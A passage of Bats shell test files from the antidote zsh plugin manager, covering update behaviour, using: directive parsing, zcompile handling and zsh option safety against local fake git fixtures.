"$AHOME/fakegitsite.com/foo/bar $AHOME/fakegitsite.com/pintest/pinme" run antidote list --url expect "https://fakegitsite.com/foo/bar https://fakegitsite.com/pintest/pinme" } @test "list --long and --jsonl work through the symlink" { antidote bundle foo/bar &>/dev/null run antidote list --long assert_output --partial "Path: \$HOME/.cache/antidote-link/fakegitsite.com/foo/bar" run antidote list --jsonl assert_output --partial "\"path\":\"$AHOME/fakegitsite.com/foo/bar\"" } @test "path resolves bundles through the symlink" { antidote bundle foo/bar &>/dev/null run antidote path foo/bar assert_output "$AHOME/fakegitsite.com/foo/bar" } @test "pinned bundles are skipped by update through the symlink" { antidote bundle "pintest/pinme pin:$PIN_V100" &>/dev/null run antidote update -n assert_output --partial "skipping update for pinned bundle: pintest/pinme" run git -C "$AHOME/fakegitsite.com/pintest/pinme" rev-parse HEAD assert_output "$PIN_V100" } @test "unpinned bundles update through the symlink" { antidote bundle "pintest/pinme pin:$PIN_V100" &>/dev/null antidote bundle 'pintest/pinme' >/dev/null antidote update &>/dev/null run git -C "$AHOME/fakegitsite.com/pintest/pinme" rev-parse HEAD assert_output "$PIN_V120" } # Snapshot save enumerates bundles via find_bundles, which scans # ANTIDOTE_HOME. @test "snapshot save works through the symlink" { antidote bundle foo/bar &>/dev/null run antidote snapshot save assert_output --partial "Snapshot saved:" run antidote snapshot list [[ "$output" == *snapshot-*.txt ]] } @test "purge removes a bundle from the symlink target" { antidote bundle foo/bar &>/dev/null run antidote purge foo/bar assert_output --partial "Removed 'foo/bar'." [ ! -d "$REAL_HOME/fakegitsite.com/foo/bar" ] } @test "purge --all empties the real dir and removes the symlink" { antidote bundle foo/bar &>/dev/null ZSTYLES="$ZSTYLES zstyle ':antidote:test:purge' answer 'y'" run antidote purge --all assert_output --partial "Antidote purge complete." [ ! -e "$AHOME" ] [ -d "$REAL_HOME" ] run find "$REAL_HOME" -mindepth 1 refute_output } # Documents current behavior when the symlink target is outside $HOME: # purge still removes bundle contents via the symlink path. @test "purge works when the symlink target is outside HOME" { REAL_EXT="$BATS_TEST_TMPDIR/antidote-ext" mkdir -p "$REAL_EXT" ln -s "$REAL_EXT" "$TESTHOME/.cache/antidote-link-external" AHOME="$TESTHOME/.cache/antidote-link-external" EXTRA_ENV="ANTIDOTE_TMPDIR=$BATS_TEST_TMPDIR" antidote bundle foo/bar &>/dev/null run antidote purge foo/bar assert_output --partial "Removed 'foo/bar'." [ ! -d "$REAL_EXT/fakegitsite.com/foo/bar" ] } mattmc3-antidote-9bb69ab/tests/bats/update.bats000066400000000000000000000303331523541175400216300ustar00rootroot00000000000000#!/usr/bin/env bats # antidote update tests load helpers/common setup() { antidote_common_setup antidote_test_home ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" BAZDIR="$AHOME/fakegitsite.com/foo/baz" antidote_clone_fixtures } # Roll foo/baz back one commit so the remote is ahead. Needs history, # so make sure the clone is deepened first. rollback_foo_baz() { tgit_deepen "$BAZDIR" tgit -C "$BAZDIR" reset --quiet --hard HEAD~1 } # Clone pinme, put it two commits back, then cut the graft so git cannot # see HEAD as an ancestor of upstream. graft_pinme_shallow() { local dir="$1" run antidote bundle 'pintest/pinme kind:clone' assert_success tgit_deepen "$dir" tgit -C "$dir" reset --quiet --hard HEAD~2 tgit -C "$dir" rev-parse HEAD refs/remotes/origin/main >"$dir/.git/shallow" } # The full update run is the command's output contract. @test "update checks every cloned bundle" { run antidote update expect "Updating bundles... antidote: checking for updates: bar/baz antidote: checking for updates: foo/bar antidote: checking for updates: foo/baz antidote: checking for updates: git@fakegitsite.com:foo/qux antidote: checking for updates: getantidote/zsh-defer antidote: checking for updates: ohmy/ohmy Waiting for bundle updates to complete... Bundle updates complete." } # The bundle dir list crosses a subshell, so a home with spaces has to # split on lines, not words. @test "update works when ANTIDOTE_HOME contains spaces" { AHOME="$TESTHOME/.cache/anti dote" antidote bundle foo/bar &>/dev/null run antidote update expect "Updating bundles... antidote: checking for updates: foo/bar Waiting for bundle updates to complete... Bundle updates complete." } @test "dry run reports an available update without applying it" { rollback_foo_baz local sha_before sha_before=$(git -C "$BAZDIR" rev-parse --short HEAD) run antidote update --dry-run assert_output --partial "antidote: update available: foo/baz bde701c -> 98cdde2" run git -C "$BAZDIR" rev-parse --short HEAD assert_output "$sha_before" } # A real update clears the load marker and zcompiled files; a dry run # must leave both in place. @test "dry run leaves the load marker and zwc files alone" { touch "$AHOME/.antidote.load" "$BAZDIR/baz.plugin.zsh.zwc" run antidote update --dry-run assert_success [ -f "$AHOME/.antidote.load" ] [ -f "$BAZDIR/baz.plugin.zsh.zwc" ] } @test "update clears the load marker and zwc files" { touch "$AHOME/.antidote.load" "$BAZDIR/baz.plugin.zsh.zwc" run antidote update assert_success [ ! -e "$AHOME/.antidote.load" ] [ ! -e "$BAZDIR/baz.plugin.zsh.zwc" ] } @test "dry run does not write an autosnapshot" { local snapdir="$BATS_TEST_TMPDIR/snapshots" ZSTYLES="$ZSTYLES zstyle ':antidote:snapshot' dir '$snapdir' zstyle ':antidote:snapshot:automatic' enabled yes" run antidote update --dry-run assert_success [ ! -e "$snapdir" ] } # Deepening a clone is permanent, so a dry run must not do it. Clone one # bundle shallow and hold it there, then drop the hold so a real update # would deepen it, and check that only the real update does. @test "dry run leaves a shallow clone shallow" { local dir="$AHOME/fakegitsite.com/pintest/pinme" local base="$ZSTYLES" ZSTYLES="$base zstyle ':antidote:bundle:pintest/pinme' shallow yes" run antidote bundle 'pintest/pinme kind:clone' assert_success run git -C "$dir" rev-parse --is-shallow-repository assert_output "true" ZSTYLES="$base" run antidote update --dry-run assert_success run git -C "$dir" rev-parse --is-shallow-repository assert_output "true" run antidote update assert_success run git -C "$dir" rev-parse --is-shallow-repository assert_output "false" } # A bundle held shallow still has to move, and stay shallow doing it. @test "update advances a bundle held shallow" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle:foo/baz' shallow yes" tgit -C "$BAZDIR" fetch --quiet --depth 2 origin main tgit -C "$BAZDIR" reset --quiet --hard HEAD~1 run git -C "$BAZDIR" rev-parse --is-shallow-repository assert_output "true" run antidote update assert_success assert_output --partial "updated: foo/baz bde701c -> 98cdde2" assert_line "98cdde2 Add function files" run git -C "$BAZDIR" rev-parse --short HEAD assert_output "98cdde2" run git -C "$BAZDIR" rev-parse --is-shallow-repository assert_output "true" } # A shallow clone can end up grafted so that git cannot see its commit # as an ancestor of upstream. Rebasing then replays commits already # upstream and conflicts, so update takes upstream as-is instead. @test "update moves a shallow bundle whose graft hides its history" { local dir="$AHOME/fakegitsite.com/pintest/pinme" ZSTYLES="$ZSTYLES zstyle ':antidote:bundle:pintest/pinme' shallow yes" run antidote bundle 'pintest/pinme kind:clone' assert_success tgit_deepen "$dir" tgit -C "$dir" reset --quiet --hard HEAD~2 tgit -C "$dir" rev-parse HEAD refs/remotes/origin/main >"$dir/.git/shallow" run git -C "$dir" merge-base --is-ancestor HEAD refs/remotes/origin/main assert_failure run antidote update assert_success refute_output --partial "update failed for 'pintest/pinme'" run git -C "$dir" rev-parse HEAD assert_output "$PIN_V120" } # That path resets instead of rebasing, so it has to autostash too. @test "update autostashes when a shallow graft forces a reset" { local dir="$AHOME/fakegitsite.com/pintest/pinme" ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash on zstyle ':antidote:bundle:pintest/pinme' shallow yes" graft_pinme_shallow "$dir" echo "mine" >"$dir/mine.zsh" tgit -C "$dir" add mine.zsh echo "untracked" >"$dir/untracked.txt" run antidote update assert_success run git -C "$dir" rev-parse HEAD assert_output "$PIN_V120" [ -f "$dir/mine.zsh" ] [ -f "$dir/untracked.txt" ] } # A stash that no longer applies must not land as conflict markers in a # file the shell is about to source. @test "update keeps unappliable local changes in the stash" { local dir="$AHOME/fakegitsite.com/pintest/pinme" ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash on zstyle ':antidote:bundle:pintest/pinme' shallow yes" graft_pinme_shallow "$dir" echo "junk" >>"$dir/pinme.plugin.zsh" run antidote update assert_success assert_output --partial "pintest/pinme: local changes conflicted, kept in the stash" run git -C "$dir" rev-parse HEAD assert_output "$PIN_V120" run grep -cE 'junk|<<<<<<<' "$dir/pinme.plugin.zsh" assert_failure run git -C "$dir" stash list assert_output --partial "stash@{0}" } # A branch with no upstream config still has exactly one remote-tracking # branch to follow, since every antidote clone is single-branch. @test "update follows a branch with no upstream config" { rollback_foo_baz tgit -C "$BAZDIR" config --unset branch.main.remote tgit -C "$BAZDIR" config --unset branch.main.merge run antidote update assert_success assert_output --partial "updated: foo/baz bde701c -> 98cdde2" run git -C "$BAZDIR" rev-parse --short HEAD assert_output "98cdde2" } # The clone's background deepen can still hold shallow.lock when update # runs. That is contention, not a failed update. @test "update tolerates a shallow.lock held by a background deepen" { ZSTYLES="$ZSTYLES zstyle ':antidote:bundle:foo/baz' shallow no" : >"$BAZDIR/.git/shallow.lock" run antidote update assert_success refute_output --partial "update failed for 'foo/baz'" refute_output --partial "unexpected git error" } @test "update reports repositories with the same short name separately" { rollback_foo_baz local other="$AHOME/other.example/foo/baz" local bare="$(antidote_fixture_dir)/bare/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-baz.git" mkdir -p "$(dirname "$other")" cp -R "$BAZDIR" "$other" tgit -C "$other" remote set-url origin https://other.example/foo/baz tgit config --global --add url."$bare".insteadOf https://other.example/foo/baz run antidote update --dry-run assert_success [ "$(grep -c 'update available: foo/baz' <<<"$output")" -eq 2 ] } @test "update pulls a rolled-back bundle to the latest commit" { rollback_foo_baz run antidote update assert_output --partial "antidote: updated: foo/baz bde701c -> 98cdde2" assert_line "98cdde2 Add function files" refute_line "bde701c Add plugin file" run git -C "$BAZDIR" rev-parse --short HEAD assert_output "98cdde2" } # Concurrent fetches accumulate in FETCH_HEAD, so anything merging it # sees multiple branches and dies. Fetch a private ref to contend on # FETCH_HEAD alone. @test "update survives a concurrent fetch on the same bundle" { local stopfile="$BATS_TEST_TMPDIR/stop-hammer" rollback_foo_baz while [ ! -f "$stopfile" ]; do tgit -C "$BAZDIR" fetch --quiet --no-tags -f origin \ '+refs/heads/*:refs/hammer/*' 2>/dev/null || true done & run antidote update touch "$stopfile" wait assert_success refute_output --partial "update failed for 'foo/baz'" run git -C "$BAZDIR" rev-parse --short HEAD assert_output "98cdde2" } @test "update reports worker failures and skips autosnapshot" { local snapdir="$BATS_TEST_TMPDIR/snapshots" tgit -C "$BAZDIR" remote set-url origin /does/not/exist/foo/baz ZSTYLES="$ZSTYLES zstyle ':antidote:snapshot' dir '$snapdir' zstyle ':antidote:snapshot:automatic' enabled yes" run antidote update assert_failure assert_output --partial "antidote: update failed for 'foo/baz'" refute_output --partial "Bundle updates complete." [ ! -e "$snapdir" ] } # The EXIT trap is the only thing that removes the worker temp dir, so a # leftover antidote.* dir here means the trap stopped firing. @test "update removes its temp dir" { local tmpbase="$BATS_TEST_TMPDIR/atmp" mkdir -p "$tmpbase" EXTRA_ENV="ANTIDOTE_TMPDIR=$tmpbase" run antidote update assert_success run ls -A "$tmpbase" assert_output "" } @test "update removes its temp dir when a worker fails" { local tmpbase="$BATS_TEST_TMPDIR/atmp" mkdir -p "$tmpbase" tgit -C "$BAZDIR" remote set-url origin /does/not/exist/foo/baz EXTRA_ENV="ANTIDOTE_TMPDIR=$tmpbase" run antidote update assert_failure run ls -A "$tmpbase" assert_output "" } @test "parent-shell bundle update completes" { fixture_session <<<'antidote update --bundles >/dev/null; echo "update exit: $?"' assert_output "update exit: 0" } # Update succeeds despite a dirty working tree, preserving both tracked # changes and untracked files (autostash). @test "update autostashes dirty working trees" { ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash on" rollback_foo_baz echo "junk" >>"$BAZDIR/baz.plugin.zsh" echo "untracked" >"$BAZDIR/untracked.txt" run antidote update assert_output --partial "antidote: updated: foo/baz bde701c -> 98cdde2" run grep -c junk "$BAZDIR/baz.plugin.zsh" assert_output "1" [ -f "$BAZDIR/untracked.txt" ] } # Self-update runs in the parent shell (functions/antidote-update), so # these two need a session. The prelude builds a fake antidote checkout # so the git pull outcome is deterministic and offline; the session # swaps in that checkout's antidote-update before calling it. fake_checkout_prelude='zstyle ":antidote:test:version" show-sha off fake=$HOME/fake-antidote mkdir -p $fake cp -r $T_PRJDIR/functions $fake/functions cp $T_PRJDIR/antidote.zsh $fake/antidote.zsh command git -C $fake init --quiet use_fake_update() { fpath=($fake/functions $fpath); unfunction antidote-update; autoload -Uz $fake/functions/antidote-update }' @test "self-update succeeds with a reachable origin" { SESSION_PRELUDE="$fake_checkout_prelude command git -C \$fake add -A command git -C \$fake -c user.email=test@test -c user.name=test commit --quiet -m init command git clone --quiet \$fake \$fake-clone 2>/dev/null fake=\$fake-clone" run_session <<'EOS' ( use_fake_update; antidote-update --self ) EOS assert_success expect "Updating antidote... antidote self-update complete. antidote version $EXPECTED_VERSION" } # A repo with no remote makes the pull fail. @test "self-update failure reports an error" { SESSION_PRELUDE="$fake_checkout_prelude" run_session <<'EOS' ( use_fake_update; antidote-update --self 2>&1 ) EOS assert_failure 1 expect "Updating antidote... antidote: self-update failed." } mattmc3-antidote-9bb69ab/tests/bats/using_directive.bats000066400000000000000000000227631523541175400235410ustar00rootroot00000000000000#!/usr/bin/env bats # antidote using: directive tests load helpers/common setup() { antidote_common_setup # bundle_parser is per-file shorthand; fixture_session clones the base # fixtures since the full-fixture case sources real cloned bundles. SESSION_PRELUDE='function bundle_parser() { antidote __private__ bundle_parser_serialize "$@"; }' } # using: alone emits a single clone entry @test "using: alone emits a single clone entry" { fixture_session <<'EOS' echo 'using:foo/bar' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone EOF ) expect "$expected" } # using: with path: clone entry has no path, path is only a prefix for words @test "using: with path: keeps the clone entry pathless" { fixture_session <<'EOS' echo 'using:foo/bar path:plugins' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone EOF ) expect "$expected" } # using: with kind: kind becomes the default for words, clone entry is always clone @test "using: kind: is the default for words, clone entry stays clone" { fixture_session <<'EOS' printf 'using:foo/bar path:plugins kind:fpath\nextract\n' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : fpath path : plugins/extract EOF ) expect "$expected" } @test "words after using: get default kind:zsh and path prefix" { fixture_session <<'EOS' printf 'using:foo/bar path:plugins\nextract\ngit\n' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : zsh path : plugins/extract __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : zsh path : plugins/git EOF ) expect "$expected" } @test "word-level kind: overrides using: default" { fixture_session <<'EOS' printf 'using:foo/bar path:plugins kind:zsh\nextract kind:fpath\n' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : fpath path : plugins/extract EOF ) expect "$expected" } # using: annotations (branch, etc.) inherited by clone entry and all words @test "using: annotations are inherited by clone entry and words" { fixture_session <<'EOS' printf 'using:foo/bar path:plugins branch:baz\nextract\ngit\n' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar branch : baz kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : baz kind : zsh path : plugins/extract __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : baz kind : zsh path : plugins/git EOF ) expect "$expected" } @test "word-level annotation overrides inherited using: annotation" { fixture_session <<'EOS' printf 'using:foo/bar path:plugins branch:main\nextract branch:dev\ngit\n' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar branch : main kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : dev kind : zsh path : plugins/extract __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar branch : main kind : zsh path : plugins/git EOF ) expect "$expected" } # using: with no path: word becomes the full path value @test "using: with no path: makes the word the path" { fixture_session <<'EOS' printf 'using:foo/bar\nextract\n' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar kind : zsh path : extract EOF ) expect "$expected" } @test "word without active using: context is an error" { fixture_session <<'EOS' echo 'extract' | bundle_parser | print_parsed_bundle EOS expected=$(cat <<'EOF' __bundle__ : extract __error__ : invalid bundle 'extract'. Are you missing a 'using:' directive? __severity__: error __type__ : using_subplugin EOF ) expect "$expected" } @test "using: with URL form" { fixture_session <<'EOS' echo 'using:https://fakegitsite.com/foo/bar path:plugins' | bundle_parser | print_parsed_bundle | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' __bundle__ : https://fakegitsite.com/foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : url __url__ : https://fakegitsite.com/foo/bar kind : clone EOF ) expect "$expected" } @test "using: with SSH URL form" { fixture_session <<'EOS' echo 'using:git@fakegitsite.com:foo/bar path:plugins' | bundle_parser | print_parsed_bundle | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' __bundle__ : git@fakegitsite.com:foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : git@fakegitsite.com:foo/bar __type__ : ssh_url __url__ : git@fakegitsite.com:foo/bar kind : clone EOF ) expect "$expected" } @test "using: annotations like conditional: are inherited by words" { fixture_session <<'EOS' printf 'using:foo/bar path:plugins conditional:is-macos\ndocker\n' | bundle_parser | print_parsed_bundle | subenv ANTIDOTE_HOME EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar conditional : is-macos kind : clone __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : using_subplugin __url__ : https://fakegitsite.com/foo/bar conditional : is-macos kind : zsh path : plugins/docker EOF ) expect "$expected" } @test "using: with empty target is an error" { fixture_session <<'EOS' antidote bundle 'using:' 2>&1 EOS assert_failure 1 assert_line "# antidote: error on line 1: invalid using: target ''" } # a path using: emits no entry, so an error on that line must not vanish with it @test "a stray word on a path using: line is still reported" { fixture_session <<'EOS' mkdir -p $ZDOTDIR/plugins antidote bundle "using:$ZDOTDIR/plugins junk" 2>&1 EOS assert_failure 1 assert_line --partial "Expecting 'key:value' form for annotation 'junk'" } @test "using: with malformed target is an error" { fixture_session <<'EOS' antidote bundle 'using:foo@bar' 2>&1 EOS assert_failure 1 assert_line "# antidote: error on line 1: invalid using: target 'foo@bar'" } # invalid bundle mixed with valid: error is shown but valid output is # still produced. @test "invalid bundle mixed with valid still produces valid output" { fixture_session <<'EOS' printf 'foo/bar\nfoo\n' | antidote bundle 2>&1 EOS assert_failure 1 expected=$(cat <<'EOF' # antidote: error on line 2: invalid bundle 'foo'. Are you missing a 'using:' directive? fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" EOF ) expect "$expected" } # full fixture: multiple using: blocks, non-word passthrough, branch # inheritance, context persistence @test "full using: fixture matches golden output" { fixture_session <<'EOS' antidote bundle <$T_TESTDATA/.zsh_plugins_using.txt | subenv ANTIDOTE_HOME HOME ZDOTDIR EOS expect "$(cat "$PRJDIR/tests/testdata/.zsh_plugins_using.zsh")" } mattmc3-antidote-9bb69ab/tests/bats/zcompile_bundle.bats000066400000000000000000000057101523541175400235220ustar00rootroot00000000000000#!/usr/bin/env bats # Per-bundle zcompile tests. # Bundled paths under HOME print with a literal '$HOME' prefix. load helpers/common setup() { antidote_common_setup antidote_test_home } # bundle_zcompile reads dir lists back through a subshell, so a home # with spaces has to split on lines, not words. One test per branch. @test "bundle_zcompile compiles all bundles under a home with spaces" { AHOME="$TESTHOME/.cache/anti dote" antidote bundle foo/bar >/dev/null run antidote __private__ bundle_zcompile assert_success run find "$AHOME" -name '*.zwc' assert_output --partial '.zwc' } @test "bundle_zcompile compiles a named bundle under a home with spaces" { AHOME="$TESTHOME/.cache/anti dote" antidote bundle foo/bar >/dev/null run antidote __private__ bundle_zcompile 'foo/bar' assert_success run find "$AHOME" -name '*.zwc' assert_output --partial '.zwc' } @test "zcompile off leaves no zwc for a file bundle" { ZSTYLES="zstyle ':antidote:bundle:*' zcompile 'no'" run antidote bundle "$ZDOTDIR/custom/lib/lib1.zsh" assert_output 'source "$HOME/.zsh/custom/lib/lib1.zsh"' [ ! -e "$ZDOTDIR/custom/lib/lib1.zsh.zwc" ] } @test "zcompile off leaves no zwc for a theme bundle" { ZSTYLES="zstyle ':antidote:bundle:*' zcompile 'no'" run antidote bundle "$ZDOTDIR/custom/plugins/mytheme" assert_output 'fpath+=( "$HOME/.zsh/custom/plugins/mytheme" ) source "$HOME/.zsh/custom/plugins/mytheme/mytheme.zsh-theme"' [ ! -e "$ZDOTDIR/custom/plugins/mytheme/mytheme.zsh-theme.zwc" ] } @test "zcompile on compiles a lib file" { ZSTYLES="zstyle ':antidote:bundle:*' zcompile 'yes'" antidote bundle "$ZDOTDIR/custom/lib/lib2.zsh" >/dev/null [ -e "$ZDOTDIR/custom/lib/lib2.zsh.zwc" ] } @test "zcompile on compiles a plugin" { ZSTYLES="zstyle ':antidote:bundle:*' zcompile 'yes'" antidote bundle "$ZDOTDIR/custom/plugins/myplugin" >/dev/null [ -e "$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh.zwc" ] } @test "zcompile on compiles a zsh-theme" { ZSTYLES="zstyle ':antidote:bundle:*' zcompile 'yes'" antidote bundle "$ZDOTDIR/custom/plugins/mytheme" >/dev/null [ -e "$ZDOTDIR/custom/plugins/mytheme/mytheme.zsh-theme.zwc" ] } # A zwc from another zsh is silently ignored when the plugin is sourced. # bundle_zcompile always calls zrecompile, which does its own version # check, so bundling again must repair it. Forge the mismatch by patching # the version string in the zwc header. @test "a bundle zwc from another zsh version is recompiled" { ZSTYLES="zstyle ':antidote:bundle:*' zcompile 'yes'" local zwc="$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh.zwc" antidote bundle "$ZDOTDIR/custom/plugins/myplugin" >/dev/null run zsh -fc "zcompile -t '$zwc'" assert_success chmod u+w "$zwc" printf '0.0.0' | dd of="$zwc" bs=1 seek=8 conv=notrunc 2>/dev/null run zsh -fc "zcompile -t '$zwc'" assert_failure antidote bundle "$ZDOTDIR/custom/plugins/myplugin" >/dev/null 2>&1 run zsh -fc "zcompile -t '$zwc'" assert_success } mattmc3-antidote-9bb69ab/tests/bats/zcompile_static.bats000066400000000000000000000052021523541175400235340ustar00rootroot00000000000000#!/usr/bin/env bats # Static file zcompile tests. # antidote load runs in the parent shell, so these use sessions. load helpers/common setup() { antidote_common_setup; } @test "static zcompile on compiles the static file" { SESSION_PRELUDE="zstyle ':antidote:static' zcompile 'yes' zstyle ':antidote:static' file \$ZDOTDIR/.zplugins.static.zsh" fixture_session <<'EOS' antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null grep -q zrecompile $ZDOTDIR/.zplugins.static.zsh && echo "static file has zcompile header" [[ -e $ZDOTDIR/.zplugins.static.zsh.zwc ]] && echo "zwc compiled" EOS assert_line "static file has zcompile header" assert_line "zwc compiled" } @test "static zcompile golden output" { SESSION_PRELUDE="zstyle ':antidote:static' zcompile 'yes' zstyle ':antidote:static' file \$ZDOTDIR/.zplugins_fake_zcompile_static.zsh" fixture_session <<'EOS' antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null cat $ZDOTDIR/.zplugins_fake_zcompile_static.zsh | subenv EOS expect "$(cat "$PRJDIR/tests/testdata/.zplugins_fake_zcompile_static.zsh")" } # Bundling a bad repo fails; the zcompile header still prints since it # is emitted before clone failures are detected. @test "bad repo bundling fails with static zcompile on" { SESSION_PRELUDE="zstyle ':antidote:static' zcompile 'yes'" run_session <<<'antidote bundle does-not/exist &>/dev/null' assert_failure 1 } @test "static zcompile off leaves no zwc file" { SESSION_PRELUDE="zstyle ':antidote:static' zcompile 'no' zstyle ':antidote:static' file \$ZDOTDIR/.zplugins_fake_load.zsh" fixture_session <<'EOS' antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null print -r -- "zwc files: ${(o)$(print -l $ZDOTDIR/*.zwc(N:t))}" EOS assert_output "zwc files: " } # A zwc built by a different zsh is silently ignored when sourced, and the # timestamp test cannot see it, so the static file would never recompile. # Forge a foreign version by patching the version string in the zwc header. @test "a static zwc from another zsh version is recompiled" { SESSION_PRELUDE="zstyle ':antidote:static' zcompile 'yes' zstyle ':antidote:static' file \$ZDOTDIR/.zplugins.static.zsh" fixture_session <<'EOS' zwc=$ZDOTDIR/.zplugins.static.zsh.zwc antidote load $ZDOTDIR/.zplugins_fake_load >/dev/null zcompile -t $zwc &>/dev/null; print "fresh: $?" chmod u+w $zwc print -n '0.0.0' | dd of=$zwc bs=1 seek=8 conv=notrunc 2>/dev/null zcompile -t $zwc &>/dev/null; print "forged: $?" # sourcing the static file must notice and rebuild source $ZDOTDIR/.zplugins.static.zsh >/dev/null 2>&1 zcompile -t $zwc &>/dev/null; print "after: $?" EOS assert_line "fresh: 0" assert_line "forged: 1" assert_line "after: 0" } mattmc3-antidote-9bb69ab/tests/bats/zsetopts.bats000066400000000000000000000074661523541175400222540ustar00rootroot00000000000000#!/usr/bin/env bats # antidote respects setopts. # These need run_session: the behavior under test is option state in # the shell that runs antidote. load helpers/common setup() { antidote_common_setup; } @test "plugins that run setopts take effect through antidote load" { run_session <<'EOS' plugin=$ANTIDOTE_HOME/fakegitsite.com/lampoon/xmas/xmas.plugin.zsh mkdir -p $plugin:h print 'unsetopt noaliases\nsetopt autocd' > $plugin echo "lampoon/xmas" > $ZDOTDIR/.zsh_plugins.txt setopt noaliases echo "before: noaliases=$options[noaliases] autocd=$options[autocd]" antidote load >/dev/null echo "after: noaliases=$options[noaliases] autocd=$options[autocd]" EOS assert_line --index 0 "before: noaliases=on autocd=off" assert_line --index 1 "after: noaliases=off autocd=on" } # Ensure #86 stays fixed: no stderr noise under posix_identifiers. @test "no stderr noise under posix_identifiers" { run_session <<'EOS' setopt posix_identifiers err=$(antidote -v 2>&1 >/dev/null); print -r -- "-v: exit=$? stderr=[$err]" err=$(antidote -h 2>&1 >/dev/null); print -r -- "-h: exit=$? stderr=[$err]" err=$(antidote help 2>&1 >/dev/null); print -r -- "help: exit=$? stderr=[$err]" EOS assert_line "-v: exit=0 stderr=[]" assert_line "-h: exit=0 stderr=[]" assert_line "help: exit=0 stderr=[]" } # Special zsh options that change parsing/expansion semantics must not # break antidote or leak state changes. See issue #154. @test "bundle output is unaffected by KSH_ARRAYS and SH_GLOB" { SESSION_PRELUDE='setopt KSH_ARRAYS SH_GLOB' fixture_session <<'EOS' antidote bundle <$ZDOTDIR/.zsh_plugins.txt | subenv EOS expect "$(cat "$PRJDIR/tests/testdata/.zsh_plugins.zsh")" } # load runs a nested dispatch (load -> bundle), and the option # save/restore has to survive the nesting without losing the options. @test "nested dispatch through load preserves KSH_ARRAYS and SH_GLOB" { SESSION_PRELUDE='setopt 